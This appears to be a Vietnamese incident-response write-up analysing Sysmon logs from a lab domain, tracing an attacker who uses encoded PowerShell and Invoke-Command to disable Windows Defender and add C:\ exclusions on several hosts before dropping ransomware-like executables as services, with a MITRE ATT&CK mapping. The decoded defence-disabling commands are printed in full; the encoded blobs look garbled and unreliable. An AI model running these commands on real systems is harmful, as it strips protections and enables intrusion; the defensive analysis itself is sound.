Vào lúc 10:04:50 attacker tiếp tục encode 1 đoạn base64

Microsoft-Windows-Sysmon%4Operational_11 Number of events: 3,106

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 10:04:50 PM	Microsoft-Windows-Sysmon	1 (1)	
Information	12/14/2023 10:04:45 PM	Microsoft-Windows-Sysmon	11 (11)	
Information	12/14/2023 10:04:38 PM	Microsoft-Windows-Sysmon	3 (3)	
Information	12/14/2023 10:04:26 PM	Microsoft-Windows-Sysmon	3 (3)	

Event 1, Microsoft-Windows-Sysmon

General Details

```
The following information was included with the event:
technique_id=T1059.001,technique_name=PowerShell
2023-12-14 15:04:50.990
EV_RenderedValue_2_00
5636
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
10.0.17763.1 (WinBuild.160101.0800)
Windows PowerShell
Microsoft® Windows® Operating System
Microsoft Corporation
PowerShell EXE
powershell -nop -exec bypass -EncodedCommand
$QBuAHYAbwBAbGUA1QBDAGbAbQBaGEAbBvACAA1QBDAGbAbQbwAHUAdABIAHATqBhAG0A2QaQAEYBaQbAQUJUwBIAHAdqBIAHIAAtAFMAYwByAgkAcAB0AEIAbAv
AGMAawAqAHA+ABzAGUAZwAqAGEA2ZAB+CAAlpBIAEsATABNAfWauBpAEYAVABXEEAUzBFAfwAUAbVAgwAbQb)AGkAZBzAfwsATQbpAGMAcgbvAHMAbwBmAHQAXAB
XAGkAbzbkAGBAbwBz2CAAARABAGVYZQBuAGQAZQb)AGCIAAAvAHYIABEAGkAcwBhAGIAbABIAEAbqB0AGkAwBwAHIAdwBhAHIAZQqAcB8daAqAfuRQBHAFBARABXAEB
AqBqEACAAwBkACAAmAqAcBAZqAqH0A
C:\Users\SQLService\Documents\
NT AUTHORITY\SYSTEM
EV_RenderedValue_13.00
2061565
1
System

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:04:50 PM
Event ID: 1 Task Category: (1)
Level: Information Keywords:
User: SYSTEM Computer: sqlserver.NEXTECH.local
OpCode: Info
```

Sau khi giải mã đoạn đó thì mục đích của nó là loại trừ đường dẫn này của windows defend khiến nó không check các tệp ở đường dẫn C:\ khi thực thi

```
Check download.txt ERRORLOG download1.dat |  
Invoke-Command -ComputerName FileServer -ScriptBlock { Add-MpPreference -ExclusionPath "C:\" }
```

Vào lúc 10:06:09 attacker tiếp tục làm tương tự với máy DC01

Microsoft-Windows-Sysmon%4Operational_11 Number of events: 3,106

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 10:06:09 PM	Microsoft-Windows-Sysmon	1	(1)
Information	12/14/2023 10:05:45 PM	Microsoft-Windows-Sysmon	11	(11)
Information	12/14/2023 10:05:42 PM	Microsoft-Windows-Sysmon	11	(11)
Information	12/14/2023 10:05:42 PM	Microsoft-Windows-Sysmon	11	(11)

Event 1, Microsoft-Windows-Sysmon

General Details

```
Windows PowerShell  
Microsoft® Windows® Operating System  
Microsoft Corporation  
PowerShell.EXE  
powershell -nop -exec bypass -EncodedCommand  
S0BuAHYabwBrAGUALQBDAG8AbQBtAGEAbqBkACAAIqBIAEsTABNAFwAUwBPAEYAVABXAEAAuqBFafFwAUABvAGwAaQbjAGkAZQbzAfWATQ8pAGMACqBvAHMAbwBmAHQAXABXAGkAbgBkAG8Ad  
wBzACAARABIAGYAZQBuAGQAZQByACIAIAAvAHYIAIBEAAGkAcwBhAGlAbABIAEEAbqB0AGkAuwBwAHkAdwBhAHIAZQaqAC8dAAqAFiARQBHAF8ARABXAEB8AUqBEACAALwBk  
ACAAAMQqAC8AZqAGh0A  
C:\Users\SQLService\Documents\  
NT AUTHORITY\SYSTEM  
EV_RenderedValue_13.00  
2102680  
1  
System  
SHA1=6CBCE4A295C163791B60FC23D285E6D84F28EE4C,MD5=7353F60B1739074EB17C5F4DDDEFE239,SHA256  
=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C,IMPHASH=741776AACFC5B71FF59832DCDCACE0F  
EV_RenderedValue_18.00  
596  
C:\Windows\System32\winlogon.exe  
winlogon.exe  
NT AUTHORITY\SYSTEM
```

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:06:09 PM
Event ID: 1 Task Category: (1)
Level: Information Keywords:
User: SYSTEM Computer: sqlserver.NEXTech.local
OpCode: Info

```
Check download.txt ERRORLOG download1.dat download2.dat |  
Invoke-Command -ComputerName DC01 -ScriptBlock { reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f }
```

Microsoft-Windows-Sysmon%4Operational_11 Number of events: 3,106

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 10:07:01 PM	Microsoft-Windows-Sysmon	1	(1)
Information	12/14/2023 10:06:45 PM	Microsoft-Windows-Sysmon	11	(11)
Information	12/14/2023 10:06:37 PM	Microsoft-Windows-Sysmon	3	(3)
Information	12/14/2023 10:06:12 PM	Microsoft-Windows-Sysmon	3	(3)

Event 1, Microsoft-Windows-Sysmon

General Details

The description for Event ID 1 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

```
technique_id=T1059.001,technique_name=PowerShell
2023-12-14 15:07:01.489
EV_RenderedValue_2,00
3380
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
10.0.17763.1 (WinBuild.160101.0800)
Windows PowerShell
Microsoft® Windows® Operating System
Microsoft Corporation
PowerShell EXE
powershell -nop -exec bypass -EncodedCommand
S0BuAHYAbwBrAGUALQBDAG8AbQBIAqBkACAAQZQDAG8AbQBwAHUadABIAHIAqBhAG0AZQAqAEQAQwAwADEAIAAtAFMAYwByAGkAcAB0AEIAbAbvAGMAawAqAHsAI
ABBAGQAZAAAEoACABQAHIAZC8mAGUAcqBIAG4AYwBIAACALQBFahgAYwBsAHUAcwBAG8AbqBQAGEadABoACAAqBDADoAXAAIAQAAfQA=
C:\Users\SQLService\Documents\
INT AUTHORITY\SYSTEM
```

Log Name: Microsoft-Windows-Sysmon/Operational
 Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:07:01 PM
 Event ID: 1 Task Category: (1)
 Level: Information Keywords:
 User: SYSTEM Computer: sqlserver.NEXTECH.local
 OpCode: Info

```
Invoke-Command -ComputerName DC01 -ScriptBlock { Add-MpPreference -ExclusionPath "C:\\" }
```

Vào lúc 10:07:53 attacker connect vào được máy DC01 và thực thi mẫu 8fe9c39.exe . Y như kết quả output của hayabusa ban đầu

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 10:07:53 PM	Microsoft-Windows-Sysmon	22	(22)
Information	12/14/2023 10:07:53 PM	Microsoft-Windows-Sysmon	22	(22)
Information	12/14/2023 10:07:45 PM	Microsoft-Windows-Sysmon	11	(11)
Information	12/14/2023 10:07:38 PM	Microsoft-Windows-Sysmon	3	(3)

Event 22, Microsoft-Windows-Sysmon

General Details

The description for Event ID 22 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

```
-2023-12-14 15:07:52.673
EV_RenderedValue_2,00
596
DC01
0
::ffff:192.168.170.124;
C:\Windows\System32\winlogon.exe
NT AUTHORITY\SYSTEM
```

The message resource is present but the message was not found in the message table

Log Name: Microsoft-Windows-Sysmon/Operational
 Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:07:53 PM
 Event ID: 22 Task Category: (22)
 Level: Information Keywords:
 User: SYSTEM Computer: sqlserver.NEXTECH.local
 OpCode: Info

Lúc 10:14:04 attacker lại tiếp tục làm tương tự với máy DevPC

Microsoft-Windows-Sysmon%4Operational_11 Number of events: 3,106					
Level	Date and Time	Source	Event ID	Task Category	
(i) Information	12/14/2023 10:14:04 PM	Microsoft-Windows-Sysmon	1	(1)	
(i) Information	12/14/2023 10:13:45 PM	Microsoft-Windows-Sysmon	11	(11)	
(i) Information	12/14/2023 10:13:38 PM	Microsoft-Windows-Sysmon	3	(3)	
(i) Information	12/14/2023 10:12:45 PM	Microsoft-Windows-Sysmon	11	(11)	

Event 1, Microsoft-Windows-Sysmon

General Details

```
0.0.17763.1 (WinBuild.160101.0800)
Windows PowerShell
Microsoft® Windows® Operating System
Microsoft Corporation
PowerShell.EXE
powershell -nop -exec bypass -EncodedCommand
$QbAqHYAbwBrAqUAlQBdAG8AbQbAGEAbqBkACAALQBDAG8AbQbWAhUAdABIAHIAqBhAG0AZQqAEQAZQb2FAAAQwAgAC0AUwBjAHIAaQbwAHQAQbAg8AYwBrACAA
ewAqHIAZQbNAcAYQbKAGQIAAAiEqASwBMAE0AXABTAEBRqBUAfCQQBSAEUAXABQAG8AbApAGMAaQBIAHMAXBNAGkAYwByAG8AcwBvAGYAdABcAcFcaQBuAGQA
bwB3AHMIABEAGUAZqBIAg4AZBAHIAqHQaQbAgAEQAqBzAGEAqBqAHQaQbTAHAAeQB3AGEAcqBIACAAlwB0ACAAUqBFaEcAxwBEAfCAtwBSAEQAIAA
VAGQIAIAxACAALwBnACAAfQA=
C:\Users\SQLService\Documents\NT AUTHORITY\SYSTEM
EV_RenderedValue_13.00
2152281
1
System
SHA1=6BC4E4295C163791B60FC23D285E6D84F28EE4C,MD5=7353F60B1739074EB17C5F4DDDEFE239,SHA256
=DE96A6E6994435375DC1AC238336066889D9FFC7D73628EF4E1B160A32C,IMPHASH=741776AACCFC5871FF59832CDCACE0F
EV_RenderedValue_18.00
596
C:\Windows\System32\winlogon.exe
winlogon.exe
```

Log Name: Microsoft-Windows-Sysmon/Operational

Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:14:04 PM

Event ID: 1 Task Category: (1)

Level: Information Keywords:

User: SYSTEM Computer: sqlserver.NEXTech.local

OpCode: Info

```
Invoke-Command -ComputerName DevPC -ScriptBlock { reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f }
```

Microsoft-Windows-Sysmon%4Operational_11 Number of events: 3,106					
Level	Date and Time	Source	Event ID	Task Category	
(i) Information	12/14/2023 10:15:29 PM	Microsoft-Windows-Sysmon	1	(1)	
(i) Information	12/14/2023 10:14:45 PM	Microsoft-Windows-Sysmon	11	(11)	
(i) Information	12/14/2023 10:14:39 PM	Microsoft-Windows-Sysmon	3	(3)	
(i) Information	12/14/2023 10:14:25 PM	Microsoft-Windows-Sysmon	11	(11)	

Event 1, Microsoft-Windows-Sysmon

General Details

```
The description for Event ID 1 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

technique_id=T1059.001,technique_name=PowerShell
2023-12-14 15:15:29.203
EV_RenderedValue_2.00
796
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
10.0.17763.1 (WinBuild.160101.0800)
Windows PowerShell
Microsoft® Windows® Operating System
Microsoft Corporation
PowerShell.EXE
powershell -nop -exec bypass -EncodedCommand
$QbAqHYAbwBrAqUAlQBdAG8AbQbAGEAbqBkACAALQBDAG8AbQbWAhUAdABIAHIAqBhAG0AZQqAEQAZQb2FAAAQwAgAC0AUwBjAHIAaQbwAHQAQbAg8AYwBrACAA
ewAqHEEZABAkCOATQbwFAAcqBIAGYAqBzAGEAqBqBjAGUAIAAAEUAEAbjAGwAdQBzAGkAbwBuFAFAAYQb0AgqAiaiEMAoqBcACIAIB9AA==

C:\Users\SQLService\Documents\NT AUTHORITY\SYSTEM
```

Log Name: Microsoft-Windows-Sysmon/Operational

Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:15:29 PM

Event ID: 1 Task Category: (1)

Level: Information Keywords:

User: SYSTEM Computer: sqlserver.NEXTech.local

OpCode: Info

```
Check Download.dat ERRORLOG download.dat download1.dat download2.dat download3.dat download4.dat download5.dat download6.dat
Invoke-Command -ComputerName DevPC -ScriptBlock { Add-MpPreference -ExclusionPath "C:\\" }
```

Microsoft-Windows-Sysmon%4Operational_11 Number of events: 3,106

Level	Date and Time	Source	Event ID	Task Category
(i) Information	12/14/2023 10:17:39 PM	Microsoft-Windows-Sysmon	3	(3)
(i) Information	12/14/2023 10:16:55 PM	Microsoft-Windows-Sysmon	22	(22)
(i) Information	12/14/2023 10:16:55 PM	Microsoft-Windows-Sysmon	22	(22)
(i) Information	12/14/2023 10:16:45 PM	Microsoft-Windows-Sysmon	11	(11)

Event 22, Microsoft-Windows-Sysmon

General Details

The description for Event ID 22 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

```

-
2023-12-14 15:16:54.366
EV_RenderedValue_2,00
596
DEVCPC
0
:ffff:192.168.170.186;
C:\Windows\System32\winlogon.exe
NT AUTHORITY\SYSTEM

```

The message resource is present but the message was not found in the message table

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:16:55 PM
Event ID: 22 Task Category: (22)
Level: Information Keywords:
User: SYSTEM Computer: sqlserver.NEXTECH.local
OpCode: Info

FileSever

Như chúng ta đã phân tích bên trên có thể thấy vào lúc 10:02:48 1 mẫu tên là ceabe999.exe xuất hiện trên máy

Microsoft-Windows-Sysmon%4Operational_1 Number of events: 3,114

Level	Date and Time	Source	Event ID	Task Category
(i) Information	12/14/2023 10:02:48 PM	Microsoft-Windows-Sysmon	11	(11)
(i) Information	12/14/2023 10:02:30 PM	Microsoft-Windows-Sysmon	11	(11)
(i) Information	12/14/2023 10:01:30 PM	Microsoft-Windows-Sysmon	11	(11)
(i) Information	12/14/2023 10:00:29 PM	Microsoft-Windows-Sysmon	11	(11)

Event 11, Microsoft-Windows-Sysmon

General Details

The description for Event ID 11 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

```

-
2023-12-14 15:02:48.000
EV_RenderedValue_2,00
4
System
C:\Windows\ceabe99.exe
2023-12-14 15:02:48.002
NT AUTHORITY\SYSTEM

```

The message resource is present but the message was not found in the message table

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:02:48 PM
Event ID: 11 Task Category: (11)
Level: Information Keywords:
User: SYSTEM Computer: fileserver.NEXTECH.local
OpCode: Info

Có vẻ khi mẫu này được thực thi nó đã khởi tạo 1 service với name service là ceabe99

Microsoft-Windows-Sysmon%4Operational_1 Number of events: 3,114

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 10:03:09 PM	Microsoft-Windows-Sysmon	13	(13)
Information	12/14/2023 10:03:09 PM	Microsoft-Windows-Sysmon	13	(13)
Information	12/14/2023 10:03:09 PM	Microsoft-Windows-Sysmon	13	(13)
Information	12/14/2023 10:03:09 PM	Microsoft-Windows-Sysmon	13	(13)

Event 13, Microsoft-Windows-Sysmon

General Details

The description for Event ID 13 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

```

- SetValue
2023-12-14 15:03:09.059
EV_RenderedValue_3.00
624
C:\Windows\system32\services.exe
HKLM\System\CurrentControlSet\Services\ceabe99ImagePath
\\FILESERVER\ADMINS\ceabe99.exe
NT AUTHORITY\SYSTEM

```

The message resource is present but the message was not found in the message table

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:03:09 PM
Event ID: 13 Task Category: (13)
Level: Information Keywords:
User: SYSTEM Computer: fileserver.NEXTECH.local
OpCode: Info

Nhưng mẫu này khi thực thi đã bị windows defend block đó là lý do tại sao attacker phải sử dụng các command được encode để tắt windows defend từ máy SQLServer

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 10:02:58 PM	Microsoft-Windows-Sysmon	22	(22)
Information	12/14/2023 10:02:57 PM	Microsoft-Windows-Sysmon	2	(2)
Information	12/14/2023 10:02:57 PM	Microsoft-Windows-Sysmon	7	(7)
Information	12/14/2023 10:02:57 PM	Microsoft-Windows-Sysmon	7	(7)

Event 22, Microsoft-Windows-Sysmon

General Details

The description for Event ID 22 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

```

- 2023-12-14 15:02:57.501
EV_RenderedValue_2.00
236
dwgqyotpyqqf
9701
-
C:\Program Files\Windows Defender\MsMpEng.exe
NT AUTHORITY\SYSTEM

```

The message resource is present but the message was not found in the message table

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:02:58 PM
Event ID: 22 Task Category: (22)
Level: Information Keywords:
User: SYSTEM Computer: fileserver.NEXTECH.local
OpCode: Info

Đây là time mà attacker đã thực thi việc tắt windows defend để có thể thực thi mẫu mã độc trên máy FileServer do file trước đã bị block bởi windows defend

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 10:04:25 PM	Microsoft-Windows-Sysmon	1 (1)	
Information	12/14/2023 10:04:25 PM	Microsoft-Windows-Sysmon	17 (17)	
Information	12/14/2023 10:04:25 PM	Microsoft-Windows-Sysmon	7 (7)	
Information	12/14/2023 10:04:25 PM	Microsoft-Windows-Sysmon	23 (23)	

Event 1, Microsoft-Windows-Sysmon

General Details

```
technique_id=T1012,technique_name=Query Registry
2023-12-14 15:04:25.724
EV_RenderedValue_2.00
3668
C:\Windows\System32\req.exe
10.0.17763.1 (WinBuild.160101.0800)
Registry Console Tool
Microsoft® Windows® Operating System
Microsoft Corporation
req.exe
"C:\Windows\system32\req.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
C:\Users\SQLService\Documents\
NEXTECH\SQLService
EV_RenderedValue_13.00
2530396
0
High
SHA1=429DF8371B437209D79DC97978C33157D1A71C4B,MD5=8A93ACAC33151793F8D52000071C0B06,SHA256=
19316D4266D0B776D9B2A05D5903D8C8F0EA1520E9C2A7E6D5960B6FA4DCAF,IMPHASH=BE4B2BE427FE212CFEF2CDA0E61F19AC
EV_RenderedValue_18.00
xno
```

Sau đó attacker đã thực thi lại 1 mẫu khác trên máy FileSever với tên là 4a58e49.exe .

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 10:05:16 PM	Microsoft-Windows-Sysmon	13 (13)	
Information	12/14/2023 10:05:16 PM	Microsoft-Windows-Sysmon	13 (13)	
Information	12/14/2023 10:05:16 PM	Microsoft-Windows-Sysmon	13 (13)	
Information	12/14/2023 10:05:16 PM	Microsoft-Windows-Sysmon	13 (13)	

Event 13, Microsoft-Windows-Sysmon

General Details

The description for Event ID 13 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

```
- 
SetValue
2023-12-14 15:05:16.975
EV_RenderedValue_3.00
624
C:\Windows\system32\services.exe
HKLM\System\CurrentControlSet\Services\4a58e49ImagePath
\\FILESERVER\ADMIN\$4a58e49.exe
NT AUTHORITY\SYSTEM
```

The message resource is present but the message was not found in the message table

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:05:16 PM
Event ID: 13 Task Category: (13)
Level: Information Keywords:
User: SYSTEM Computer: fileserver.NEXTECH.local
OpCode: Info

DC01

Microsoft-Windows-Sysmon%4Operational_2 Number of events: 3,125

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 10:08:03 PM	Microsoft-Windows-Sysmon	1	(1)
Information	12/14/2023 10:08:03 PM	Microsoft-Windows-Sysmon	7	(7)
Information	12/14/2023 10:07:52 PM	Microsoft-Windows-Sysmon	11	(11)
Information	12/14/2023 10:07:17 PM	Microsoft-Windows-Sysmon	11	(11)

Event 11, Microsoft-Windows-Sysmon

General Details

The description for Event ID 11 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

```
-  
2023-12-14 15:07:52.638  
EV_RenderedValue_2.00  
4  
System  
C:\Windows\8fe9c39.exe  
2023-12-14 15:07:52.638  
NT AUTHORITY\SYSTEM
```

The message resource is present but the message was not found in the message table

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:07:52 PM
Event ID: 11 Task Category: (11)
Level: Information Keywords:
User: SYSTEM Computer: DC01.NEXTECH.local
OpCode: Info

Đây là mẫu 8fe9c39.exe mà attacker đã drop trên máy DC01 và cho thực thi nó . Về cơ bản thì log tiếp theo sẽ giống với các hành vi mà attacker đã remote như phân tích ở máy SQLServer

DEVPC

Tương tự ứng với trên máy DevPC là mẫu có tên là 20df43c.exe

Microsoft-Windows-Sysmon%4Operational_2 Number of events: 3,392

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 10:16:54 PM	Microsoft-Windows-Sysmon	17	(17)
Information	12/14/2023 10:16:54 PM	Microsoft-Windows-Sysmon	7	(7)
Information	12/14/2023 10:16:54 PM	Microsoft-Windows-Sysmon	25	(25)
Information	12/14/2023 10:16:54 PM	Microsoft-Windows-Sysmon	13	(13)

Event 25, Microsoft-Windows-Sysmon

General Details

The description for Event ID 25 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

```
-  
2023-12-14 15:16:54.380  
EV_RenderedValue_2.00  
1960  
\DEVPC\ADMIN$\\20df43c.exe  
Image is locked for access  
NT AUTHORITY\SYSTEM
```

The message resource is present but the message was not found in the message table

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:16:54 PM
Event ID: 25 Task Category: (25)
Level: Information Keywords:
User: SYSTEM Computer: DevPCNEXTECH.local
OpCode: Info

Sau khi các mẫu ở các máy chạy thì nó sẽ ra 1 file txt là với tên là HHuYRx806.README.txt . Về cơ bản khi các mẫu được drop ở các máy chạy nó sẽ kết

nối tới miền IP của attacker và khởi tạo 1 service . Ở các máy chúng ta đều thấy attacker sử dụng kỹ thuật credential dumping để có dump mật khẩu từ trong mem ngoài ra attacker cũng đã Process Injection vào process winlogon.exe từ powershell

2 Mitre&ATTCK mapping

Brute Force: Password Guessing [Brute Force: Password Guessing, Sub-technique T1110.001 - Enterprise | MITRE ATT&CK®](#)

OS Credential Dumping [OS Credential Dumping, Technique T1003 - Enterprise | MITRE ATT&CK®](#)

Lateral Tool Transfer [Lateral Tool Transfer, Technique T1570 - Enterprise | MITRE ATT&CK®](#)

Scheduled Task/Job [Scheduled Task/Job, Technique T1053 - Enterprise | MITRE ATT&CK®](#)

Command and Scripting Interpreter [Command and Scripting Interpreter, Technique T1059 - Enterprise | MITRE ATT&CK®](#)

Obfuscated Files or Information [Obfuscated Files or Information, Technique T1027 - Enterprise | MITRE ATT&CK®](#)

Impair Defenses: Disable or Modify Tools [Impair Defenses: Disable or Modify Tools, Sub-technique T1562.001 - Enterprise | MITRE ATT&CK®](#)

Process Injection [Process Injection, Technique T1055 - Enterprise | MITRE ATT&CK®](#)